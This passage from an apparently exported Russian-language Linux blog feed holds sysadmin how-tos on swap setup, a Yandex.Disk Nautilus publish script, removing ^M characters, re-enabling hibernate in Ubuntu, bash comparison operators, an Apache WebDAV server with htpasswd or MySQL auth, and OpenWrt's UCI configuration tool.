free.\nДобавим подключение файла при загрузке системы, для этого вставим строчку в файл /etc/fstab:\n/swapfile none swap sw 0 0 Как удалить swap Чтобы удалить swap-файл или раздел, необходимо исключить его из системы. При отключении происходит перенос содержимого в физическую память или другие источники, поэтому необходимо наличие свободных ресурсов для этой операции:\nswapoff /swapfile Управление использованием swap Параметр vm.swappiness отвечает за процент свободной памяти, который необходимо оставлять в системе, во избежание ошибок \u0026ldquo;out-of-memory\u0026rdquo;. По умолчанию, параметр имеет значение 60. Иными словами, при 100-60=40% занятой памяти, система уже начнет использовать раздел swap. При большом количестве ОЗУ в компьютере, лучше уменьшить параметр vm.swappiness, чтобы активнее использовать незадействованную память:\necho vm.swappiness = 10 | sudo tee -a /etc/sysctl.conf Ссылки:\nHow To Add Swap on Ubuntu 12.04 Настройка Swappiness и кеширования в Linux ","permalink":"https://blog.xsk.in/it/kak-dobavit-swap-v-linux-ubuntu-debian/484/","summary":"\u003cp\u003eПри работе с оперативной памятью \u003cem\u003eLinux\u003c/em\u003e делит всё доступное пространство на куски, называемые страницами. Чтобы разгрузить занятое пространство при переполнении физической памяти, используется технология виртуальной памяти или \u003cem\u003eswap\u003c/em\u003e, которая заключается в вынесению наименее нужных в данный момент для работы страниц на дисковое пространство в специальный раздел или файл на диске. Таким образом, использование \u003cem\u003eswap\u003c/em\u003e позволяет использовать в системе больше оперативной памяти, чем доступно физически.\u003c/p\u003e","title":"Как добавить swap в Linux Ubuntu/Debian"},{"content":"Полгода назад команда Яндекса анонсировала на Хабре консольный клиент своего облачного хранилища под Linux. Установка его сводится к добавлению репозитория и первоначальному конфигурированию с авторизацией и указанием папки для локальной копии файлов. Детально процесс описан на официальном сайте.\nНесмотря на просьбы хабролюдей к разработчикам выпустить что-то гуёвое, реализации до сих пор нет. Будем исправлять ситуацию самостоятельно.\nДля начала определимся с имеющимся и недостающим функционалом.\nКонсольный клиент уже умеет синхронизировать директории на локальный диск (выборочно или все содержимое Я.Диска) и генерировать публичную ссылку на указанные файлы с помощью команды yandex-disk publish \u0026lsquo;путь/до/файла\u0026rsquo;.\nБыло бы неплохо упростить получение ссылки на общедоступные файлы и интегрировать клиент в оконный менеджер системы (в моем случае Ubuntu 12.04 и Nautilus 3.4.2).\nИтак, добавим в контекстное меню Nautilus кнопку \u0026ldquo;Опубликовать\u0026rdquo;, по нажатию на которую будет происходить вышеупомянутое действие получения ссылки. Полученную ссылку положим в буфер обмена (как это делает клиент Я.Диска для Windows), а также укажем на это пользователю с помощью всплывающего сообщения.\nСоздаем в удобном месте файл скрипта (например, я делаю это с помощью Терминала (Ctrl+Alt+T)):\nmcedit /home/xandros/YD_publish.sh\nВставляем туда следующий текст:\n#!/bin/bash #Делаем yandex-disk publish для выбранного файла #И кладем результат (ссылка или ошибка) в переменную var var=`yandex-disk publish \u0026#34;$1\u0026#34; 2\u0026gt;\u0026amp;1` #Выводим значение переменной стандартными средствами Linux #Необходимо изменить путь до картинки на свой notify-send -i /usr/share/pixmaps/xandros/YD_logo.png \u0026#34;Яндекс.Диск\u0026#34; \u0026#34;$var\u0026#34; #Кладём переменную (ссылка или ошибка :-D) в буфер обмена echo \u0026#34;$var\u0026#34; | parcellite Делаем его исполняемым:\nchmod +x /home/xandros/YD_publish.sh\nУстанавливаем менеджер буфера обмена Parcellite (можно выбрать любой другой по вкусу (например Clipit), лишь бы работало, в скрипте соответственно изменить последнюю строку)\nsudo apt-get install parcellite\nУстанавливаем Nautilus-Actions Configuration Tool:\nsudo apt-get install nautilus-actions\nНаходим в Dash только что установленный пакет\nСоздаем новое действие \u0026ldquo;Опубликовать\u0026rdquo;\nПо желанию указываем путь до картинки, тогда около нашего пункта в контекстном меню появится иконка. В качестве иконки можно взять эту (она же указана у меня в исполняемом скрипте выше):\nПереходим на вкладку \u0026ldquo;Command\u0026rdquo; и указываем путь до скрипта, который был создан вначале, в качестве параметров необходимо передавать в скрипт путь до файла, поэтому пишем в соответствующее поле %F\nСохраняем действие и перезапускаем Nautilus с помощью Терминала\nnautilus -q\nИщем новый пункт меню и проверяем его работу\nСсылки:\nhttp://habrahabr.ru/post/212763/ http://www.rootfront.com/article/10640081/2013-11-25/kak-dobavit-novyj-punkt-kontekstnogo-menju-v-fajlovom-menedzhere-nautilus ","permalink":"https://blog.xsk.in/it/yandex-disk-v-linux-ubuntu/467/","summary":"\u003cp\u003eПолгода назад команда Яндекса \u003ca href=\"http://habrahabr.ru/company/yandex/blog/191446/\"\u003eанонсировала на Хабре\u003c/a\u003e консольный клиент своего облачного хранилища под Linux. Установка его сводится к добавлению репозитория и первоначальному конфигурированию с авторизацией и указанием папки для локальной копии файлов. Детально процесс описан на \u003ca href=\"http://help.yandex.ru/disk/cli-clients.xml\"\u003eофициальном сайте\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eНесмотря на просьбы хабролюдей к разработчикам выпустить что-то гуёвое, реализации до сих пор нет. Будем исправлять ситуацию самостоятельно.\u003c/p\u003e","title":"Яндекс.Диск в Linux Ubuntu"},{"content":"Открывая файлы, перенесенные в Linux из Windows, часто можно наблюдать, что все строчки заканчиваются спецсимволом переноса ^M:\nЕсть несколько простых способов удалить их. Например, можно воспользоваться инструментарием утилиты sed или редактора vi:\nВ первом случае, пишем в терминале команду:\nsed -e \u0026quot;s/^M//\u0026quot; filename \u0026gt; newfilename\nЧтобы ввести ^M, нажимаем CTRL-V, затем CTRL-M. В случае с vi открываем файл в редакторе (vi filename) и вводим команду:\n:%s/^M//g\nВвод ^M аналогичен предыдущему. Ссылки:\nhttp://its.ucsc.edu/unix-timeshare/tutorials/clean-ctrl-m.html ","permalink":"https://blog.xsk.in/it/udalit-m-iz-tekstovogo-fajla-v-linux/460/","summary":"\u003cp\u003eОткрывая файлы, перенесенные в Linux из Windows, часто можно наблюдать, что все строчки заканчиваются спецсимволом переноса ^M:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2014/02/ctrl_m.png\"\u003e\u003cimg alt=\"ctrl_m\" loading=\"lazy\" src=\"/wp-content/uploads/2014/02/ctrl_m.png\"\u003e\u003c/a\u003eЕсть несколько простых способов удалить их. Например, можно воспользоваться инструментарием утилиты \u003cem\u003e\u003cstrong\u003esed\u003c/strong\u003e\u003c/em\u003e или редактора \u003cem\u003e\u003cstrong\u003evi\u003c/strong\u003e\u003c/em\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eВ первом случае, пишем в терминале команду:\u003cbr\u003e\n\u003ccode\u003esed -e \u0026quot;s/^M//\u0026quot; filename \u0026gt; newfilename\u003c/code\u003e\u003cbr\u003e\nЧтобы ввести ^M, нажимаем CTRL-V, затем CTRL-M.\u003c/li\u003e\n\u003cli\u003eВ случае с vi открываем файл в редакторе (vi filename) и вводим команду:\u003cbr\u003e\n\u003ccode\u003e:%s/^M//g\u003c/code\u003e\u003cbr\u003e\nВвод ^M аналогичен предыдущему.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cem\u003eСсылки:\u003c/em\u003e\u003c/p\u003e","title":"Удалить ^M из текстового файла в Linux"},{"content":"Разработчики Ubuntu отключили спящий режим по умолчанию после установки системы, начиная с версии 12.04.\nАктивировать пункт в меню и возможность выбора действия в настройках электропитания можно следующим образом:\nОткрываем терминал (Ctrl+Alt+T по умолчанию)\nС помощью любимого текстового редактора, например mcedit, создаем файл (потребуются права суперпользователя, поэтому не забываем про sudo):\nsudo mcedit /var/lib/polkit-1/localauthority/50-local.d/hibernate.pkla\nВ пустой текстовый файл вписываем следующий текст:\n[Re-enable Hibernate]\nIdentity=unix-user:*\nAction=org.freedesktop.upower.hibernate\nResultActive=yes\nСохраняем изменения и перезагружаемся\nNote 1: Для корректной работы спящего режима необходимо наличие в системе swap-раздела.\nNote 2: Проверить работу спящего режима можно с помощью команды pm-hibernate.\nСсылки:\nhttp://www.linuxrussia.com/2013/05/hibernate-ubuntu.html ","permalink":"https://blog.xsk.in/it/kak-vernut-spyashhij-rezhim-v-ubuntu-12-04-12-10-13-04/457/","summary":"\u003cp\u003eРазработчики Ubuntu отключили спящий режим по умолчанию после установки системы, начиная с версии 12.04.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2014/02/hibernate_1.png\"\u003e\u003cimg alt=\"hibernate\" loading=\"lazy\" src=\"/wp-content/uploads/2014/02/hibernate_1.png\"\u003e\u003c/a\u003eАктивировать пункт в меню и возможность выбора действия в настройках электропитания можно следующим образом:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eОткрываем терминал (Ctrl+Alt+T по умолчанию)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eС помощью любимого текстового редактора, например mcedit, создаем файл (потребуются права суперпользователя, поэтому не забываем про sudo):\u003cbr\u003e\n\u003ccode\u003esudo mcedit /var/lib/polkit-1/localauthority/50-local.d/hibernate.pkla\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eВ пустой текстовый файл вписываем следующий текст:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[Re-enable Hibernate]\u003cbr\u003e\nIdentity=unix-user:*\u003cbr\u003e\nAction=org.freedesktop.upower.hibernate\u003cbr\u003e\nResultActive=yes\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eСохраняем изменения и перезагружаемся\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"Как вернуть спящий режим в Ubuntu 12.04 / 12.10 / 13.04"},{"content":"При создании shell-скриптов часто возникает необходимость проверки каких-то условий. Самым простым оператором для этого является if / then / else. Конструкцию if / then всегда необходимо заканчивать словом fi.\nif [ выражение ]; then оператор1; else оператор2; fi Принцип работы его заключается в следующем: проверяется условие в if, если выражение условия возвращает код завершения 0 (истинно), то выполняется оператор после then (оператор1); если код завершения отличен от нуля (ложно), то выполняется альтернативное действие после else (оператор2) или выход из условия fi в случае отсутствия необязательного условия else.\nУсловия могут быть вложенными друг в друга; условия могут состоять из нескольких выражений, объединенных логическими операциями И / ИЛИ. При написании условий рекомендуется использовать двойные квадратные кавычки [[,]] для обрамления выражений. В противном случае возникает ошибка интерпретатора, требующая экранирования знаков вроде \u0026ldquo;\u0026lt;\u0026rdquo; с помощью специального символа \u0026ldquo;\\\u0026rdquo;.\nСтруктуры \u0026ldquo;И\u0026rdquo; / \u0026ldquo;ИЛИ\u0026rdquo; -a логическое И (and) -o логическое ИЛИ (or) Например\nif [ \u0026#34;$a\u0026#34; = \u0026#34;$b\u0026#34; -a \u0026#34;$c\u0026#34; = \u0026#34;$d\u0026#34; ]; then echo \u0026#34;Оба выражения истинны\u0026#34; fi Инвертирование результата if [ ! -f \u0026#34;/home/user/file\u0026#34; ]; then echo \u0026#34;Файл не найден\u0026#34; fi Сравнение чисел При сравнении чисел используются операторы, являющиеся англоязычными сокращениями:\n-eq равно (equal) -ne не равно (not equal) -lt меньше (less) -le меньше или равно (less than or equal) -gt больше (greater) -ge больше или равно (greater) Например:\nif [ \u0026#34;$b\u0026#34; -gt \u0026#34;$a\u0026#34; ]; then echo \u0026#34;Переменная b больше, чем a\u0026#34; fi Сравнение строк При сравнении строк используются привычные операторы:\n= равно == тоже равно != не равно \u0026lt; меньше \u0026gt; больше Например:\nif [ \u0026#34;$a\u0026#34; = \u0026#34;mystring\u0026#34; ]; then echo \u0026#34;равно\u0026#34; fi Кроме математических выражений, для строк доступны следующие условия:\nstring строка не нулевая или не определена -n string строка не нулевая и существует -z string строка нулевая и существует Например:\nif [ $var ] then echo \u0026#34;Содержимое строки: $var\u0026#34; else echo \u0026#34;Строка пустая или не существует\u0026#34; fi Работа с файловой системой Следующие условия помогут при работе с файлами:\n-b file файл существует и это block special file (например, CD-ROM или HDD) -c file файл существует и это character special file (например, клавиатура или мышь) -d file файл существует и это директория -e file файл существует -f file файл существует и это регулярный файл (не директория) -g file файл существует и у него установлен set-group-id бит -h file файл существует и это симлинк -k file файл существует и у него установлен sticky бит -p file файл существует и это named-pipe -r file файл существует и доступен для чтения -s file файл существует и его размер отличен от нуля -t fd файловый дескриптор fd открыт и направлен в консоль -u file файл существует и у него установлен set-user-id бит -w file файл существует и доступен на запись -x file файл существует и является исполняемым -O file файл существует и принадлежит существующему пользователю -G file файл существует и принадлежит существующей группе -L file файл существует и это симлинк -S file файл существует и это сокет -N file файл существует и был изменен с последнего прочтения file1 -nt file2 файл file1 изменялся чаще чем file2, или file1 существует, а file2 нет file1 -ot file2 файл file1 старше чем file2, или file1 существует, а file2 нет file1 -ef file2 файлы file1 и file2 относятся к одному устройству и номеру инода -o OPTIONNAME shell опция \u0026#34;OPTIONNAME\u0026#34; включена Допускается отсутствие служебных слов if / then:\n[[ \u0026#34;$var1\u0026#34; -ne \u0026#34;$var2\u0026#34; ]] \u0026amp;\u0026amp; echo \u0026#34;$var1 не равно $var2\u0026#34; Допускается использование оператора test, который служит для проверки состояния файлов, сравнения строк и арифметических сравнений:\ntest 5 -gt 2 \u0026amp;\u0026amp; echo \u0026#34;Yes\u0026#34; test -f /etc/resolv1.conf \u0026amp;\u0026amp; echo \u0026#34;File /etc/resolv1.conf found.\u0026#34; || echo \u0026#34;File /etc/resolv1.conf not found.\u0026#34; Ссылки:\nИзучаем Bash. Операции сравнения целых чисел и строк Bash учебное пособие. Часть 6: Структура If…then…else File attributes comparisons Bash учебное пособие. Часть 5: Структурные конструкции и команда test How To Write a Simple Shell Script on a VPS (Part 3) ","permalink":"https://blog.xsk.in/it/operatsii-sravneniya-v-bash/450/","summary":"\u003cp\u003eПри создании shell-скриптов часто возникает необходимость проверки каких-то условий. Самым простым оператором для этого является \u003cem\u003eif / then / else\u003c/em\u003e. Конструкцию \u003cem\u003eif / then\u003c/em\u003e всегда необходимо заканчивать словом \u003cem\u003efi\u003c/em\u003e.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eif [ выражение ]; then\n    оператор1;\n    else\n        оператор2;\nfi\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eПринцип работы его заключается в следующем: проверяется условие в \u003cem\u003eif\u003c/em\u003e, если выражение условия возвращает код завершения 0 (истинно), то выполняется оператор после \u003cem\u003ethen\u003c/em\u003e (оператор1); если код завершения отличен от нуля (ложно), то выполняется альтернативное действие после \u003cem\u003eelse\u003c/em\u003e (оператор2) или выход из условия \u003cem\u003efi\u003c/em\u003e в случае отсутствия необязательного условия \u003cem\u003eelse\u003c/em\u003e.\u003cbr\u003e\nУсловия могут быть вложенными друг в друга; условия могут состоять из нескольких выражений, объединенных логическими операциями И / ИЛИ. При написании условий рекомендуется использовать двойные квадратные кавычки [[,]] для обрамления выражений. В противном случае возникает ошибка интерпретатора, требующая экранирования знаков вроде \u0026ldquo;\u0026lt;\u0026rdquo; с помощью специального символа \u0026ldquo;\\\u0026rdquo;.\u003c/p\u003e","title":"Операции сравнения в bash"},{"content":"WebDAV позволяет пользователям редактировать, добавлять, скачивать файлы на сервере, без необходимости использования FTP. Для организации сервера webdav на машине под управлением Linux достаточно Apache2 с некоторым набором специфичных модулей. Хранение данных авторизации клиентов с помощью стандартного для Apache2 файла паролей вида .htpasswd или же реализовать на базе MySQL (пример конфигурации в конце статьи). Реализацию WebDAV с помощью NGINX можно найти по ссылке.\nДля начала ставим веб-сервер и включаем необходимые модули:\nsudo apt-get install apache2 sudo a2enmod dav sudo a2enmod dav_fs Подготавливаем каталог для сетевого хранилища: либо создаем новый, либо выставляем права доступа для www-data к имеющемуся:\nmkdir /home/webdav chown -R www-data. /home/webdav Создаем пользователя, который будет иметь доступ к файлам на сервере, например webdav, вводим по запросу пароль и подтверждение, не забываем про права доступа к файлу:\nsudo htpasswd -c /etc/apache2/webdav.password webdav sudo chown root:www-data /etc/apache2/webdav.password sudo chmod 640 /etc/apache2/webdav.password Помимо утилиты htpasswd получить содержимое файла можно с помощью любого онлайн генератора .htpasswd файлов.\nСамое время перейти к конфигурированию /etc/apache2/apache2.conf (или одного из виртуальных хостов в /etc/apache2/sites-available/ при использовании модульной настройки веб-сервера). Эта часть текста должна быть помещена внутрь одного из \u0026lt;VirtualHost\u0026gt;\n# упрощаем себе жизнь, хранилище будет доступно по ссылке domain/webdav # вместо указания длинного пути до каталога Alias /webdav /home/webdav \u0026lt;Location /webdav\u0026gt; Options Indexes #разрешаем видеть содержимое папок DAV On #активируем DAV AuthType Basic #авторизоваться будем по логину и паролю AuthName \u0026#34;webdav\u0026#34; AuthUserFile /etc/apache2/webdav.password #путь до файла паролей Require valid-user #не пускаем внутрь без авторизации Allow from all #доступ отовсюду, можно ограничить по желанию RewriteEngine off #не преобразовывать длинные имена файлов (если включен mod_rewrite) \u0026lt;/Location\u0026gt; Перезапускаем веб-сервер и проверяем доступ с помощью браузера, если получилось успешно авторизоваться, можно приступать к настройке клиентов. Если нет - ищем причины неудачи с помощью включения и детального изучения логов.\nWebDAV-клиент в Linux Из ubuntu-like систем подключиться к сетевому хранилищу можно с помощью менеджера файлов Nautilus, вот как это выглядит на примере Ubuntu 13.10:\nВходим в Nautilus, выбираем в меню Файлы -\u0026gt; Подключение к серверу Вводим адрес вида dav://username@domain:port/webdav или davs в случае наличия SSL-сертификатов и соответствующей настройке веб-сервера. Нажимаем подключиться и авторизуемся WebDAV-клиент в Windows В Windows из коробки есть возможность подключения сетевых устройств, но работает она по умолчанию только с имеющими сертификаты серверами. \u0026ldquo;Починить\u0026rdquo; нативный клиент можно с помощью реестра:\nОткрываем regedit Переходим в ветку HKLM\\SYSTEM\\CurrentControlSet\\Services\\WebClient\\Parameters Находим DWORD32-параметр BasicAuthLevel и выставляем ему значение \u0026ldquo;2\u0026rdquo; Перезагружаемся Возможные значения этого параметра такие:\n0 - базовая авторизация (по паре логин-пароль) отключена\n1 - базовая авторизация только для SSL-шар\n2 - базовая авторизация любых шар, в том числе не SSL\nПосле перезагрузки можно пробовать настраивать сетевое хранилище (на примере Windows 7):\nОткрываем Мой компьютер Выбираем \u0026ldquo;Подключить сетевой диск\u0026rdquo; Вводим адрес веб-хранилища в формате http://domain/webdav (или https для соответствующего соединения) Ставим галку \u0026ldquo;Использовать другие данные\u0026rdquo;, чтобы система не пыталась получить доступ с помощью данных учетной записи Windows Авторизация с помощью MySQL Использование базы MySQL может быть оправдано при большом количестве клиентов. Устанавливаем необходимые для работы модули (и сам MySQL в случае его отсутствия):\nsudo apt-get install mysql-server libapache2-mod-auth-mysql Включаем установленный модуль:\nsudo a2enmod auth_mysql Входим в mysql и создаем базу и пользователя для доступа к ней:\nCREATE DATABASE webdav; GRANT SELECT, INSERT, UPDATE, DELETE ON webdav.* TO \u0026#39;webdav_admin\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;webdav_admin_password\u0026#39;; FLUSH PRIVILEGES; Создаем таблицу с пользователями:\nUSE webdav; create table mysql_auth ( username char(25) not null, passwd char(32), groups char(25), primary key (username) ); Добавляем пользователя test:\nINSERT INTO `mysql_auth` (`username`, `passwd`, `groups`) VALUES(\u0026#39;test\u0026#39;, MD5(\u0026#39;test\u0026#39;), \u0026#39;testgroup\u0026#39;); Правим конфигурацию Apache:\n\u0026lt;Location /home/webdav\u0026gt; DAV On AuthBasicAuthoritative Off AuthUserFile /dev/null AuthMySQL On AuthName \u0026#34;webdav\u0026#34; AuthType Basic Auth_MySQL_Host localhost Auth_MySQL_User webdav_admin Auth_MySQL_Password webdav_admin_password AuthMySQL_DB webdav AuthMySQL_Password_Table mysql_auth Auth_MySQL_Username_Field username Auth_MySQL_Password_Field passwd Auth_MySQL_Empty_Passwords Off Auth_MySQL_Encryption_Types PHP_MD5 Auth_MySQL_Authoritative On require valid-user \u0026lt;/Location\u0026gt; Перезапускаем веб-сервер и проверяем работоспособность.\nСсылки:\nEnable Basic Auth for WebDAV on Windows 7 How To Configure WebDAV Access with Apache on Ubuntu 12.04 Установка и настройка WebDAV с MySQL на Debian Linux ","permalink":"https://blog.xsk.in/it/sozdanie-sobstvennogo-webdav-servera/435/","summary":"\u003cp\u003eWebDAV позволяет пользователям редактировать, добавлять, скачивать файлы на сервере, без необходимости использования FTP. Для организации сервера webdav на машине под управлением Linux достаточно Apache2 с некоторым набором специфичных модулей. Хранение данных авторизации клиентов  с помощью стандартного для Apache2 файла паролей вида .htpasswd или же реализовать на базе MySQL (пример конфигурации в конце статьи). Реализацию WebDAV с помощью NGINX можно найти по \u003ca href=\"/it/svoj-webdav-server-na-nginx/495/\" title=\"Свой WebDAV сервер на nginx\"\u003eссылке\u003c/a\u003e.\u003c/p\u003e","title":"Создание собственного WebDAV-сервера"},{"content":"После установки OpenWrt на точку доступа/роутер веб-интерфейс LuCI может быть отключен для экономии свободного места и/или иных разумных целях. Настроить девайс можно через telnet/ssh, в случае корректной настройки в дальнейшем, кроме редкого нажатия кнопки reboot, обычно никаких мероприятий не требуется.\nДля начала необходимо задать пароль системному пользователю через telnet с помощью команды passwd для включения ssh-сервера и маломальской защиты от несанкционированного доступа к настройке устройства.\nДальнейшую настройку правильнее всего осуществлять с применением функционала UCI (Unified Configuration Interface - англ. Центральный Конфигурационный Интерфейс).\nОписание UCI Список опций Список команд Список секций Пример использования Вся работа UCI сводится к редактированию файлов, расположенных в каталоге /etc/config/. Поэтому все команды uci можно свести к примитивной работе с текстовыми файлами с помощью джентельменского набора awk, cat, grep и редактора vi. Но такой подход является избыточным и мало эффективным по сравнению с предложенным разработчиками функционалом. Посудите сами: для получения детальной информации о параметрах текущего WAN соединении необходимо написать сложный парсер вывода команды ifconfig:\n$ ifconfig br-lan br-lan Link encap:Ethernet HWaddr A0:F3:C1:F6:EF:69 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:52135115 errors:0 dropped:419825 overruns:0 frame:0 TX packets:65080505 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:32804794514 (30.5 GiB) TX bytes:69502191623 (64.7 GiB) $ ifconfig br-lan|grep \u0026#34;inet addr:\u0026#34;|cut -f 2 -d \u0026#39;:\u0026#39;|cut -f 1 -d \u0026#39; \u0026#39; 192.168.1.1 Другое дело - воспользоваться представленным в виде элементов массива выводом uci, где для получения любого параметра необходимо просто явно его указать с оператором get:\n$ uci -P/var/state show network.wan network.lan=interface network.lan.type=bridge network.lan.proto=static network.lan.ipaddr=192.168.1.1 network.lan.netmask=255.255.255.0 network.lan.up=1 network.lan.connect_time=200818 network.lan.device=eth0 network.lan.ifname=br-lan $ uci -P/var/state get network.lan.ipaddr 192.168.1.1 Список команд и опций uci доступен по вызову этой утилиты в консоли без параметров:\nUsage: uci [\u0026lt;options\u0026gt;] \u0026lt;command\u0026gt; [\u0026lt;arguments\u0026gt;] Commands: batch export [\u0026lt;config\u0026gt;] import [\u0026lt;config\u0026gt;] changes [\u0026lt;config\u0026gt;] commit [\u0026lt;config\u0026gt;] add \u0026lt;config\u0026gt; \u0026lt;section-type\u0026gt; add_list \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;.\u0026lt;option\u0026gt;=\u0026lt;string\u0026gt; show [\u0026lt;config\u0026gt;[.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]]] get \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;] set \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]=\u0026lt;value\u0026gt; delete \u0026lt;config\u0026gt;[.\u0026lt;section[.\u0026lt;option\u0026gt;]] rename \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]=\u0026lt;name\u0026gt; revert \u0026lt;config\u0026gt;[.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]] Options: -c \u0026lt;path\u0026gt; установка пути поиска конфигурационных файлов (по умолчанию: /etc/config) -d \u0026lt;str\u0026gt; установка разделителя для значений списка в uci show -f \u0026lt;file\u0026gt; использовать для ввода информации содержимое файла \u0026lt;file\u0026gt; вместо стандартного потока stdin -m при импорте, объединение данных в уже существующий пакет -n имя не именованной секции при экспорте (по умолчанию) -N не присваивать имени не именованным секциям -p \u0026lt;path\u0026gt; добавить путь поиска файлов измененной конфигурации -P \u0026lt;path\u0026gt; добавить путь поиска файлов измененной конфигурации и использовать его по умолчанию -q тихий режим (не печатаются сообщения об ошибках) -s строгий режим (останавливаться на ошибках парсинга, используется по умолчанию) -S отключить строгий режим -X не использовать расширенный синтаксис для \u0026#39;show\u0026#39; Команды\nКоманда Цель Описание commit [\u0026lt;config\u0026gt;] Сохраняет изменения данного конфигурационного файла, либо, если он не указан, всех конфигурационных файлов в файловую систему. Все команды \"uci set\", \"uci add\", \"uci rename\" и \"uci delete\" сохраняют результаты во временное хранилище и сохраняются сразу скопом во флэш-память с помощью \"uci commit\". Это не нужно делать после редактирования конфигурационного файла в текстовом редакторе, но необходимо для скриптов, GUI и других программ работающих непосредственно с UCI файлами.\nbatch - Запускает многострочный UCI скрипт, который обычно выполнен в форме here-документа). export [\u0026lt;config\u0026gt;] Экспорт конфигурации в машино-читаемый формат. Используется внутренне для преобразования конфигурационных файлов в shell-скрипты. import [\u0026lt;config\u0026gt;] Импорт конфигурационных файлов в синтаксисе UCI. changes [\u0026lt;config\u0026gt;] Список зарезервированных (пер. но еще не сохраненных) изменений данного конфигурационного файла или, если файл не указан, всех конфигурационных файлов. add \u0026lt;config\u0026gt; \u0026lt;section-type\u0026gt; Добавить анонимную секцию типа section-type в данную конфигурацию. add_list \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;.\u0026lt;option\u0026gt;=\u0026lt;string\u0026gt; Добавить данную строку в существующий список опций. show [\u0026lt;config\u0026gt;[.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]]] Отобразить данную опцию, секцию или конфигурацию в компактном виде. get \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;] Получить значение данной опции или тип данной секции. set \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]=\u0026lt;value\u0026gt; Установить значение данной опции, или добавить новую секцию с типом равным указанному значению. delete \u0026lt;config\u0026gt;[.\u0026lt;section[.\u0026lt;option\u0026gt;]] Удалить данную секцию или опцию. rename \u0026lt;config\u0026gt;.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]=\u0026lt;name\u0026gt; Переименовать данную секцию или опцию. revert \u0026lt;config\u0026gt;[.\u0026lt;section\u0026gt;[.\u0026lt;option\u0026gt;]] Отменить изменения данной опции, секции или конфигурационного файла. После конфигурирования необходимо сделать uci commit для сохранения изменений и перезапустить соответствующий сервис. Список сервисов (с соответствующими файлами папки /etc/config) приведен ниже:\nФайл Описание Основные /etc/config/dhcp Конфигурация Dnsmasq и установки DHCP /etc/config/dropbear Опции SSH сервера /etc/config/firewall NAT, пакетная фильтрация, перенаправление портов, и т.д. /etc/config/network Конфигурация коммутатора, интерфейсов и маршрутизатора /etc/config/system Доп. системные настройки /etc/config/timeserver Список серверов времени для rdate /etc/config/wireless Настройки беспроводного подключения и сети wifi IPv6 /etc/config/ahcpd Ad-Hoc Configuration Protocol (AHCP) server and forwarder configuration /etc/config/aiccu AICCU client configuration /etc/config/dhcp6c WIDE-DHCPv6 client /etc/config/dhcp6s WIDE-DHCPv6 server /etc/config/gw6c GW6c client configuration /etc/config/radvd Router Advertisement (radvd) configuration Другое /etc/config/bbstored Конфигурация сервера резервного копирования BoxBackup /etc/config/etherwake Wake-on-Lan: etherwake /etc/config/fstab Точки монтирования и раздел подкачки /etc/config/hd-idle Another idle-daemon for attached hard drives /etc/config/httpd Установки веб-серввера (Busybox httpd, устарело) /etc/config/luci Основные настройки LuCI /etc/config/luci_statistics Настройка пакета статистики /etc/config/mini_snmpd Настройки SNMP демона mini_snmpd /etc/config/minidlna Настройки MiniDLNA /etc/config/mjpg-streamer Настройки потокового вещания для Linux-UVC совместимых веб-камер /etc/config/mountd Настройки демона автомонтирования OpenWrt /etc/config/mroute Конфигурационные файлы для маршрутов мульти-WAN /etc/config/multiwan Конфигурация простого мульти-WAN /etc/config/ntpclient Настройки NTP клиента синхронизации времени /etc/config/p910nd Настройки для без-буферного демона печати p910nd.server /etc/config/pure-ftpd Конфигурация сервера Pure-FTPd /etc/config/qos Реализация QoS для upload /etc/config/racoon Настройки сервиса IPsec racoon /etc/config/samba Настройки сервера SAMBA для шаринга файлов и принтеров сетей Microsoft /etc/config/snmpd Настройки SNMP демона SNMPd /etc/config/sshtunnel Установки пакета sshtunnel /etc/config/stund Настройки сервера STUN /etc/config/transmission Настройки BitTorrent /etc/config/uhttpd Настройки веб-сервера (uHTTPd) /etc/config/upnpd Настройки UPnP сервера miniupnpd /etc/config/users База данных пользователей для различных сервисов /etc/config/ushare Настройки сервера UPnP uShare /etc/config/vblade vblade userspace AOE target /etc/config/vnstat vnstat downloader settings /etc/config/wifitoggle Скрипт для вкл. WiFi кнопкой /etc/config/wol Wake-on-Lan: wol /etc/config/wshaper wondershaper qos script settings /etc/config/znc ZNC bouncer configuration Примеры использования UCI Изменение системного имени По умолчанию системное имя (hostname) - OpenWrt, его можно изменить, для чего необходимо внести исправление в файл /etc/config/system. С UCI эта процедура сводится к следующему:\nuci set system.@system[0].hostname=\u0026#39;MyRouter\u0026#39; uci commit system echo $(uci get system.@system[0].hostname) \u0026gt; /proc/sys/kernel/hostname Теперь роутер будет называться MyRouter.\nИзменение часового пояса uci set system.@system[0].zonename=\u0026#39;Asia/Novosibirsk\u0026#39; uci set 